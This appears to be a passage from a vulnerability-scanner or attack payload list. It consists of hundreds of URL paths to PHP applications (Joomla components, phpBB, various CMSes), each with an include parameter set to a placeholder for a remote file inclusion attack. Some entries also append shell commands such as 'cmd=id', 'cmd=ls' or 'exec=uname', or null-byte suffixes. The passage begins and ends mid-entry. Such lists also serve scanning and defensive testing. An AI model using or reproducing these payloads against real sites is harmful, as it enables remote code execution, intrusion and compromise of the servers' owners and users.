enSiteAdmin/scripts/classes/Filters/SingleFilter.php?path=XXpathXX%00\n/OpenSiteAdmin/scripts/classes/Form.php?path=XXpathXX%00\n/OpenSiteAdmin/scripts/classes/FormManager.php?path=XXpathXX%00\n/OpenSiteAdmin/scripts/classes/LoginManager.php?path=XXpathXX%00\n/PHP/includes/header.inc.php?root=XXpathXX?\n/PHPDJ_v05/dj/djpage.php?page=XXpathXX?\n/PaTh/index.php?rootpath=XXpathXX\n/Path_Script/createurl.php?formurl=XXpathXX\n/PhotoCart/adminprint.php?admin_folder=XXpathXX\n/Picssolution/install/config.php?path=XXpathXX?\n/RGboard/include/footer.php?_path[counter]=XXpathXX?\n/SPIP-v1-7-2/inc-calcul.php3?squelette_cache=XXpathXX?\n/SQuery/lib/gore.php?libpath=XXpathXX\n/SazCart/admin/alayouts/default/pages/login.php?_saz[settings][site_url]=XXpathXX?\n/SazCart/layouts/default/header.saz.php?_saz[settings][site_dir]=XXpathXX?\n/ScriptPage/source/includes/load_forum.php?mfh_root_path=XXpathXX\n/ScriptPath/footers.php?tinybb_footers=XXpathXX\n/ScriptPath/index.php?page=XXpathXX\n/Script_Path/config.inc.php?_path=XXpathXX?\n/Scripts/app_and_readme/navigator/index.php?page=XXpathXX\n/Scripts/mundimail/template/simpledefault/admin/_masterlayout.php?top=XXpathXX\n/Somery/team.php?checkauth=XXpathXX\n/Upload/install.php?skindir=XXpathXX\n/Widgets/Base/Footer.php?sys_dir=XXpathXX\n/Widgets/Base/widget.BifContainer.php?sys_dir=XXpathXX\n/Widgets/Base/widget.BifRoot.php?sys_dir=XXpathXX\n/Widgets/Base/widget.BifRoot2.php?sys_dir=XXpathXX\n/Widgets/Base/widget.BifRoot3.php?sys_dir=XXpathXX\n/Widgets/Base/widget.BifWarning.php?sys_dir=XXpathXX\n/WordPress_Files/All_Users/wp-content/plugins/Enigma2.php?boarddir=XXpathXX?\n/[path]/mybic_server.php?file=XXpathXX\n/[path]/previewtheme.php?theme=1&inc_path=XXpathXX?cmd\n/_administration/securite.php?cfg[document_uri]=XXpathXX\n/_blogadata/include/struct_admin.php?incl_page=XXpathXX?\n/_conf/_php-core/common-tpl-vars.php?admindir=XXpathXX\n/_connect.php?root=XXpathXX\n/_friendly/core/data/_load.php?friendly_path=XXpathXX\n/_friendly/core/data/yaml.inc.php?friendly_path=XXpathXX\n/_friendly/core/display/_load.php?friendly_path=XXpathXX\n/_friendly/core/support/_load.php?friendly_path=XXpathXX\n/_functions.php?prefix=XXpathXX\n/_includes/settings.inc.php?approot=XXpathXX\n/_theme/breadcrumb.php?rootBase=XXpathXX\n/_wk/wk_lang.php?WK[wkPath]=XXpathXX\n/abf_js.php?abs_pfad=XXpathXX?&cmd=id\n/about.php?CONFIG[MWCHAT_Libs]=XXpathXX?\n/about.php?bibtexrootrel=XXpathXX?\n/aboutinfo.php?bibtexrootrel=XXpathXX?\n/acc.php?page=XXpathXX\n/access/login.php?path_to_root=XXpathXX\n/account.php?insPath=XXpathXX\n/accsess/login.php?path_to_root=XXpathXX\n/active/components/xmlrpc/client.php?c[components]=XXpathXX\n/ad_main.php?_mygamefile=XXpathXX\n/add.cgi.php?blog_theme=XXpathXX\n/add_link.php?blog_theme=XXpathXX\n/addpost_newpoll.php?addpoll=preview&thispath=XXpathXX\n/addressbook.php?GLOBALS[basedir]=XXpathXX?\n/addsite.php?returnpath=XXpathXX\n/addvip.php?msetstr[\"PROGSDIR\"]=XXpathXX\n/adm/krgourl.php?DOCUMENT_ROOT=XXpathXX?\n/adm/my_statistics.php?DOCUMENT_ROOT=XXpathXX?\n/admin.loudmouth.php?mainframe=XXpathXX\n/admin.php?Madoa=XXpathXX?\n/admin.php?cal_dir=XXpathXX\n/admin.php?env_dir=XXpathXX\n/admin.php?lang=XXpathXX\n/admin.php?page[path]=XXpathXX?&cmd=ls\n/admin.php?submit=submit&form_include_template=XXpathXX\n/admin/PLUGINs/NP_UserSharing.php?DIR_ADMIN=XXpathXX?admin\n/admin/ST_countries.php?include_path=XXpathXX?\n/admin/ST_platforms.php?include_path=XXpathXX?\n/admin/addentry.php?phpbb_root_path=XXpathXX?\n/admin/addons/archive/archive.php?adminfolder=XXpathXX\n/admin/admin.php?path=XXpathXX\n/admin/admin.php?site_url=XXpathXX\n/admin/admin_forgotten_password.php?root_folder_path=XXpathXX\n/admin/admin_news_bot.php?root_path=XXpathXX?\n/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=XXpathXX\n/admin/admin_topic_action_logging.php?setmodules=pagestart&phpbb_root_path=XXpathXX\n/admin/admin_users.php?phpbb_root_path=XXpathXX\n/admin/auth.php?xcart_dir=XXpathXX?\n/admin/auth/secure.php?cfgProgDir=XXpathXX?\n/admin/autoprompter.php?CONFIG[BASE_PATH]=XXpathXX\n/admin/bin/patch.php?INSTALL_FOLDER=XXpathXX\n/admin/catagory.php?language=XXpathXX\n/admin/classes/pear/OLE/PPS.php?homedir=XXpathXX\n/admin/classes/pear/OLE/PPS/File.php?homedir=XXpathXX\n/admin/classes/pear/OLE/PPS/Root.php?homedir=XXpathXX\n/admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir=XXpathXX\n/admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php?homedir=XXpathXX\n/admin/classes/pear/Spreadsheet/Excel/Writer/Format.php?homedir=XXpathXX\n/admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php?homedir=XXpathXX\n/admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php?homedir=XXpathXX\n/admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php?homedir=XXpathXX\n/admin/code/index.php?load_page=XXpathXX\n/admin/comment.php?config[installdir]=XXpathXX\n/admin/common-menu.php?CONF[local_path]=XXpathXX\n/admin/components/com_fm/fm.install.php?lm_absolute_path=../../../&install_dir=XXpathXX?\n/admin/config_settings.tpl.php?include_path=XXpathXX?&cmd=id\n/admin/directory.php?config[installdir]=XXpathXX\n/admin/doeditconfig.php?thispath=../includes&config[path]=XXpathXX\n/admin/frontpage_right.php?loadadminpage=XXpathXX\n/admin/header.php?loc=XXpathXX\n/admin/inc/add.php?format_menue=XXpathXX\n/admin/inc/change_action.php?format_menue=XXpathXX\n/admin/include/common.php?commonIncludePath=XXpathXX?\n/admin/include/header.php?repertoire=XXpathXX?\n/admin/include/lib.module.php?mod_root=XXpathXX\n/admin/includes/admin_header.php?level=XXpathXX?\n/admin/includes/author_panel_header.php?level=XXpathXX?\n/admin/includes/header.php?bypass_installed=1&secure_page_path=XXpathXX%00\n/admin/includes/spaw/spaw_control.class.php?spaw_root=XXpathXX?\n/admin/index.php?path_to_script=XXpathXX?&cmd=ls\n/admin/index.php?pg=XXpathXX?\n/admin/index.php?xtrphome=XXpathXX\n/admin/index_sitios.php?_VIEW=XXpathXX\n/admin/lib_action_step.php?GLOBALS[CLASS_PATH]=XXpathXX\n/admin/login.php?absolute_path=XXpathXX\n/admin/news.admin.php?path_to_script=XXpathXX?&cmd=ls\n/admin/news.php?language=XXpathXX\n/admin/plugins/Online_Users/main.php?GLOBALS[PT_Config][dir][data]=XXpathXX\n/admin/sendmsg.php?config[installdir]=XXpathXX\n/admin/setup/level2.php?dir=XXpathXX\n/admin/system/config/conf-activation.php?site_path=XXpathXX\n/admin/system/include.php?skindir=XXpathXX\n/admin/system/include.php?start=1&skindir=XXpathXX\n/admin/system/menu/item.php?site_path=XXpathXX\n/admin/system/modules/conf_modules.php?site_path=XXpathXX\n/admin/templates/template_thumbnail.php?thumb_template=XXpathXX\n/admin/testing/tests/0004_init_urls.php?init_path=XXpathXX?&\n/admin/themes.php?config[installdir]=XXpathXX\n/admin/tools/utf8conversion/index.php?path=XXpathXX?\n/admin/user_user.php?language=XXpathXX\n/admincp/auth/checklogin.php?cfgProgDir=XXpathXX\n/admincp/auth/secure.php?cfgProgDir=XXpathXX\n/adminhead.php?path[docroot]=XXpathXX\n/admini/admin.php?INC=XXpathXX?\n/admini/index.php?INC=XXpathXX?\n/administrator/admin.php?site_absolute_path=XXpathXX?\n/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_clickheat/Recly/Clickheat/Cache.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/administrator/components/com_clickheat/Recly/common/GlobalVariables.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/administrator/components/com_clickheat/includes/heatmap/_main.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_clickheat/includes/heatmap/main.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_clickheat/includes/overview/main.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_clickheat/install.clickheat.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/administrator/components/com_color/admin.color.php?mosConfig_live_site=XXpathXX?\n/administrator/components/com_competitions/includes/competitions/add.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/administrator/components/com_competitions/includes/competitions/competitions.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/administrator/components/com_competitions/includes/settings/settings.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=XXpathXX?\n/administrator/components/com_dadamail/config.dadamail.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_events/admin.events.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=XXpathXX\n/administrator/components/com_extended_registration/admin.extended_registration.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_feederator/includes/tmsp/add_tmsp.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_feederator/includes/tmsp/edit_tmsp.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_feederator/includes/tmsp/subscription.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/administrator/components/com_feederator/includes/tmsp/tmsp.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=XXpathXX\n/administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=XXpathXX\n/administrator/components/com_jpack/includes/CAltInstaller.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_jreactions/langset.php?comPath=XXpathXX?\n/administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=XXpathXX?\n/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_ongumatimesheet20/lib/onguma.class.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_panoramic/admin.panoramic.php?mosConfig_live_site=XXpathXX\n/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_rssreader/admin.rssreader.php?mosConfig_live_site=XXpathXX\n/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path=XXpathXX?\n/administrator/components/com_treeg/admin.treeg.php?mosConfig_live_site=XXpathXX\n/administrator/components/com_webring/admin.webring.docs.php?component_dir=XXpathXX?\n/administrator/components/com_wmtgallery/admin.wmtgallery.php?mosConfig_live_site=XXpathXX\n/administrator/components/com_wmtportfolio/admin.wmtportfolio.php?mosConfig_absolute_path=XXpathXX\n/administrator/components/com_wmtrssreader/admin.wmtrssreader.php?mosConfig_live_site=XXpathXX?\n/administrator/menu_add.php?site_absolute_path=XXpathXX?\n/administrator/menu_operation.php?site_absolute_path=XXpathXX?\n/adminpanel/includes/add_forms/addmp3.php?GLOBALS[root_path]=XXpathXX\n/adminpanel/includes/mailinglist/mlist_xls.php?GLOBALS[root_path]=XXpathXX?\n/adodb/adodb-errorpear.inc.php?ourlinux_root_path=XXpathXX\n/adodb/adodb-pear.inc.php?ourlinux_root_path=XXpathXX\n/adodb/adodb.inc.php?path=XXpathXX\n/advanced_comment_system/admin.php?ACS_path=XXpathXX?\n/advanced_comment_system/index.php?ACS_path=XXpathXX?\n/afb-3-beta-2007-08-28/_includes/settings.inc.php?approot=XXpathXX?\n/agenda.php3?rootagenda=XXpathXX\n/agenda2.php3?rootagenda=XXpathXX\n/aides/index.php?page=XXpathXX?\n/ains_main.php?ains_path=XXpathXX\n/ajax/loadsplash.php?full_path=XXpathXX\n/ajouter.php?include=XXpathXX?\n/akarru.gui/main_content.php?bm_content=XXpathXX\n/akocomments.php?mosConfig_absolute_path=XXpathXX\n/amazon/cart.php?cmd=add&asin=XXpathXX\n/amazon/index.php?lang=XXpathXX\n/amazon/info.php?asin=XXpathXX\n/annonce.php?page=XXpathXX?&cmd=id\n/announcements.php?phpraid_dir=XXpathXX\n/anzagien.php?config[root_ordner]=XXpathXX?cmd=id\n/apbn/templates/head.php?APB_SETTINGS[template_path]=XXpathXX\n/api.php?t_path_core=XXpathXX?&cmd=id\n/apps/apps.php?app=XXpathXX\n/appserv/main.php?appserv_root=XXpathXX\n/arab3upload/customize.php?path=XXpathXX?&cmd=pwd\n/arab3upload/initialize.php?path=XXpathXX?&cmd=pwd\n/arash_lib/class/arash_gadmin.class.php?arashlib_dir=XXpathXX\n/arash_lib/class/arash_sadmin.class.php?arashlib_dir=XXpathXX\n/arash_lib/include/edit.inc.php?arashlib_dir=XXpathXX\n/arash_lib/include/list_features.inc.php?arashlib_dir=XXpathXX\n/archive.php?scriptpath=XXpathXX?\n/aroundme/template/barnraiser_01/pol_view.tpl.php?poll=1&templatePath=XXpathXX%00\n/artlist.php?root_path=XXpathXX\n/assets/plugins/mp3_id/mp3_id.php?GLOBALS[BASE]=XXpathXX?cmd\n/assets/snippets/reflect/snippet.reflect.php?reflect_base=XXpathXX?\n/athena.php?athena_dir=XXpathXX\n/auction/auction_common.php?phpbb_root_path=XXpathXX\n/auction/includes/converter.inc.php?include_path=XXpathXX?\n/auction/includes/messages.inc.php?include_path=XXpathXX?\n/auction/includes/settings.inc.php?include_path=XXpathXX?\n/auction/phpAdsNew/view.inc.php?phpAds_path=XXpathXX\n/auth.cookie.inc.php?da_path=XXpathXX\n/auth.header.inc.php?da_path=XXpathXX\n/auth.sessions.inc.php?da_path=XXpathXX\n/auth/auth.php?phpbb_root_path=XXpathXX\n/auth/auth_phpbb/phpbb_root_path=XXpathXX\n/authenticate.php?default_path_for_themes=XXpathXX?\n/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=XXpathXX\n/authentication/smf/smf.functions.php?pConfig_auth[smf_path]=XXpathXX\n/auto_check_renewals.php?installed_config_file=XXpathXX?cmd=ls\n/autoindex.php?cfg_file=XXpathXX?\n/awzmb/adminhelp.php?Setting[OPT_includepath]=XXpathXX\n/awzmb/modules/admin.incl.php?Setting[OPT_includepath]=XXpathXX\n/awzmb/modules/core/core.incl.php?Setting[OPT_includepath]=XXpathXX\n/awzmb/modules/gbook.incl.php?Setting[OPT_includepath]=XXpathXX\n/awzmb/modules/help.incl.php?Setting[OPT_includepath]=XXpathXX\n/awzmb/modules/reg.incl.php?Setting[OPT_includepath]=XXpathXX\n/axoverzicht.cgi?maand=XXpathXX\n/b2-tools/gm-2-b2.php?b2inc=XXpathXX\n/b2verifauth.php?index=XXpathXX?\n/backend/addons/links/index.php?PATH=XXpathXX\n/basebuilder/src/main.inc.php?mj_config[src_path]=XXpathXX???\n/bb_admin.php?includeFooter=XXpathXX\n/beacon/language/1/splash.lang.php?languagePath=XXpathXX\n/beacon/language/1/splash.lang.php?languagePath=XXpathXX?\n/belegungsplan/jahresuebersicht.inc.php?root=XXpathXX\n/belegungsplan/monatsuebersicht.inc.php?root=XXpathXX\n/belegungsplan/tagesuebersicht.inc.php?root=XXpathXX\n/belegungsplan/wochenuebersicht.inc.php?root=XXpathXX\n/bemarket/postscript/postscript.php?p_mode=XXpathXX\n/biblioteca/bib_form.php?CLASSPATH=XXpathXX\n/biblioteca/bib_pldetails.php?CLASSPATH=XXpathXX\n/biblioteca/bib_plform.php?CLASSPATH=XXpathXX\n/biblioteca/bib_plsearchc.php?CLASSPATH=XXpathXX\n/biblioteca/bib_plsearchs.php?CLASSPATH=XXpathXX\n/biblioteca/bib_save.php?CLASSPATH=XXpathXX\n/biblioteca/bib_searchc.php?CLASSPATH=XXpathXX\n/biblioteca/bib_searchs.php?CLASSPATH=XXpathXX\n/biblioteca/edi_form.php?CLASSPATH=XXpathXX\n/biblioteca/edi_save.php?CLASSPATH=XXpathXX\n/biblioteca/gen_form.php?CLASSPATH=XXpathXX\n/biblioteca/gen_save.php?CLASSPATH=XXpathXX\n/biblioteca/lin_form.php?CLASSPATH=XXpathXX\n/biblioteca/lin_save.php?CLASSPATH=XXpathXX\n/biblioteca/luo_form.php?CLASSPATH=XXpathXX\n/biblioteca/luo_save.php?CLASSPATH=XXpathXX\n/biblioteca/sog_form.php?CLASSPATH=XXpathXX\n/biblioteca/sog_save.php?CLASSPATH=XXpathXX\n/bigace/addon/smarty/plugins/function.captcha.php?GLOBALS[_BIGACE][DIR][addon]=XXpathXX\n/bigace/system/admin/plugins/menu/menuTree/plugin.php?GLOBALS[_BIGACE][DIR][admin]=XXpathXX?\n/bigace/system/application/util/item_information.php?GLOBALS[_BIGACE][DIR][admin]=XXpathXX?\n/bigace/system/application/util/jstree.php?GLOBALS[_BIGACE][DIR][admin]=XXpathXX?\n/bigace/system/classes/sql/AdoDBConnection.php?GLOBALS[_BIGACE][DIR][addon]=XXpathXX?\n/bild.php?config[root_ordner]=XXpathXX?&cmd=id\n/bin/qte_init.php?qte_root=XXpathXX?\n/bingoserver.php3?response_dir=XXpathXX\n/block.php?Include=XXpathXX\n/blocks/birthday.php?full_path=XXpathXX\n/blocks/events.php?full_path=XXpathXX\n/blocks/help.php?full_path=XXpathXX\n/blogcms/admin/media.php?DIR_LIBS=XXpathXX?\n/blogcms/admin/xmlrpc/server.php?DIR_LIBS=XXpathXX?\n/blogcms/index.php?DIR_PLUGINS=XXpathXX?\n/board/post.php?qb_path=XXpathXX\n/boitenews4/index.php?url_index=XXpathXX?\n/books/allbooks.php?home=XXpathXX\n/books/home.php?home=XXpathXX\n/books/mybooks.php?home=XXpathXX\n/bp_ncom.php?bnrep=XXpathXX\n/bp_ncom.php?bnrep=XXpathXX?\n/bp_news.php?bnrep=XXpathXX\n/bridge/enigma/E2_header.inc.php?boarddir=XXpathXX?\n/bridge/yabbse.inc.php?sourcedir=XXpathXX\n/bridges/SMF/logout.php?path_to_smf=XXpathXX\n/bu/bu_cache.php?bu_dir=XXpathXX?\n/bu/bu_claro.php?bu_dir=XXpathXX?\n/bu/bu_parse.php?bu_dir=XXpathXX?\n/bu/process.php?bu_dir=XXpathXX?\n/buddy.php?CONFIG[MWCHAT_Libs]=XXpathXX?\n/builddb.php?env_dir=XXpathXX\n/button/settings_sql.php?path=XXpathXX\n/cadre/fw/class.Quick_Config_Browser.php?GLOBALS[config][framework_path]=XXpathXX?\n/cal.func.php?dir_edge_lang=XXpathXX\n/calcul-page.php?home=XXpathXX\n/calendar.php?cfg_dir=XXpathXX?\n/calendar.php?lang=XXpathXX\n/calendar.php?path_to_calendar=XXpathXX\n/calendar.php?vwar_root=XXpathXX?\n/calendar/demo/index.php?date=&v=XXpathXX?\n/calendar/payment.php?insPath=XXpathXX\n/calendario/cal_insert.php?CLASSPATH=XXpathXX\n/calendario/cal_save.php?CLASSPATH=XXpathXX\n/calendario/cal_saveactivity.php?CLASSPATH=XXpathXX\n/cart.php?lang_list=XXpathXX\n/cart_content.php?cart_isp_root=XXpathXX\n/catalogg/inludes/include_once.php?include_file=XXpathXX\n/catalogshop.php?mosConfig_absolute_path=XXpathXX\n/cdsagenda/modification/SendAlertEmail.php?AGE=XXpathXX?\n/cfagcms/themes/default/index.php?main=XXpathXX\n/ch_readalso.php?read_xml_include=XXpathXX\n/challenge.php?vwar_root=XXpathXX\n/change_preferences2.php?target=XXpathXX?\n/chat.php?CONFIG[MWCHAT_Libs]=XXpathXX?\n/chat.php?my[root]=XXpathXX?cm=id\n/chat/adminips.php?banned_file=XXpathXX\n/chat/users_popupL.php3?From=XXpathXX\n/checkout.php?abs_path=XXpathXX\n/checkout.php?abs_path=XXpathXX?\n/ciamos_path/modules/forum/include/config.php?module_cache_path='XXpathXX'\n/circ.php?include_path=XXpathXX?\n/circolari/cir_save.php?CLASSPATH=XXpathXX\n/citywriter/head.php?path=XXpathXX?\n/cl_files/index.php?path_to_calendar=XXpathXX?\n/claroline/auth/ldap/authldap.php?includePath=XXpathXX\n/claroline/phpbb/page_tail.php?includePath=XXpathXX\n/claroline180rc1/claroline/inc/lib/import.lib.php?includePath=XXpathXX?\n/class.mysql.php?path_to_bt_dir=XXpathXX\n/class/Wiki/Wiki.php?c_node[class_path]=XXpathXX\n/class/jpcache/jpcache.php?_PSL[classdir]=XXpathXX?exec=uname\n/class/php/d4m_ajax_pagenav.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/classes/Auth/OpenID/Association.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/BigMath.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/DiffieHellman.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/DumbStore.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/Extension.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/FileStore.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/HMAC.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/MemcachedStore.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/Message.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/Nonce.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/SQLStore.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/SReg.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/TrustRoot.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/OpenID/URINorm.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/Yadis/XRDS.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/Yadis/XRI.php?_ENV[asicms][path]=XXpathXX\n/classes/Auth/Yadis/XRIRes.php?_ENV[asicms][path]=XXpathXX\n/classes/Cache.class.php?rootdir=XXpathXX?\n/classes/Customer.class.php?rootdir=XXpathXX?\n/classes/Performance.class.php?rootdir=XXpathXX?\n/classes/Project.class.php?rootdir=XXpathXX?\n/classes/Representative.class.php?rootdir=XXpathXX?\n/classes/User.class.php?rootdir=XXpathXX?\n/classes/admin_o.php?absolutepath=XXpathXX\n/classes/adodbt/sql.php?classes_dir=XXpathXX\n/classes/adodbt/sql.php?classes_dir=XXpathXX?\n/classes/board_o.php?absolutepath=XXpathXX\n/classes/class_admin.php?PathToComment=XXpathXX?\n/classes/class_comments.php?PathToComment=XXpathXX?\n/classes/class_mail.inc.php?path_to_folder=XXpathXX\n/classes/common.php?rootdir=XXpathXX?\n/classes/core/language.php?rootdir=XXpathXX\n/classes/dev_o.php?absolutepath=XXpathXX\n/classes/file_o.php?absolutepath=XXpathXX\n/classes/html/com_articles.php?absolute_path=XXpathXX\n/classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX\n/classes/query.class.php?baseDir=XXpathXX\n/classes/tech_o.php?absolutepath=XXpathXX\n/classified.php?insPath=XXpathXX\n/classified_right.php?language_dir=XXpathXX\n/classifieds/index.php?lowerTemplate=XXpathXX\n/clear.php?bibtexrootrel=XXpathXX?\n/clearinfo.php?bibtexrootrel=XXpathXX?\n/click.php?dir=XXpathXX?\n/client.php?dir=XXpathXX\n/client/faq_1/PageController.php?dir=XXpathXX\n/clients/index.php?src=XXpathXX\n/cls_fast_template.php?fname=XXpathXX\n/cm68news/engine/oldnews.inc.php?addpath=XXpathXX?&\n/cms/Orlando/modules/core/logger/init.php?GLOBALS[preloc]=XXpathXX?\n/cms/meetweb/classes/ManagerResource.class.php?root_path=XXpathXX\n/cms/meetweb/classes/ManagerRightsResource.class.php?root_path=XXpathXX\n/cms/meetweb/classes/RegForm.class.php?root_path=XXpathXX\n/cms/meetweb/classes/RegResource.class.php?root_path=XXpathXX\n/cms/meetweb/classes/RegRightsResource.class.php?root_path=XXpathXX\n/cms/meetweb/classes/modules.php?root_path=XXpathXX\n/cms/modules/form.lib.php?sourceFolder=XXpathXX?\n/cms/system/openengine.php?oe_classpath=XXpathXX???\n/cmsimple2_7/cmsimple/cms.php?pth['file']['config']=XXpathXX?\n/cn_config.php?tpath=XXpathXX?\n/coast/header.php?sections_file=XXpathXX?\n/code/berylium-classes.php?beryliumroot=XXpathXX?\n/code/display.php?admindir=XXpathXX?\n/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=XXpathXX\n/com_booklibrary/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?\n/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=XXpathXX?\n/com_media_library/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?\n/com_realestatemanager/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?\n/com_vehiclemanager/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?\n/comments.php?AMG_serverpath=XXpathXX\n/comments.php?scriptpath=XXpathXX?\n/common.inc.php?CFG[libdir]=XXpathXX\n/common.inc.php?CFG[libdir]=XXpathXX?\n/common.inc.php?base_path=XXpathXX\n/common.php?db_file=XXpathXX\n/common.php?dir=XXpathXX\n/common.php?ezt_root_path=XXpathXX?\n/common.php?include_path=XXpathXX\n/common.php?livealbum_dir=XXpathXX?\n/common.php?locale=XXpathXX\n/common.php?phpht_real_path=XXpathXX?\n/common/db.php?commonpath=XXpathXX?\n/common/func.php?CommonAbsD=XXpathXX?\n/common/func.php?CommonAbsDir=XXpathXX\n/community/Offline.php?sourcedir=XXpathXX?\n/component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=XXpathXX\n/components/calendar/com_calendar.php?absolute_path=XXpathXX?\n/components/com_ajaxchat/tests/ajcuser.php?GLOBALS[mosConfig_absolute_path]=XXpathXX\n/components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php?mosConfig_absolute_path=XXpathXX\n/components/com_artforms/assets/captcha/includes/captchaform/mp3captcha.php?mosConfig_absolute_path=XXpathXX\n/components/com_artforms/assets/captcha/includes/captchatalk/swfmovie.php?mosConfig_absolute_path=XXpathXX\n/components/com_articles.php?absolute_path=XXpathXX?\n/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=XXpathX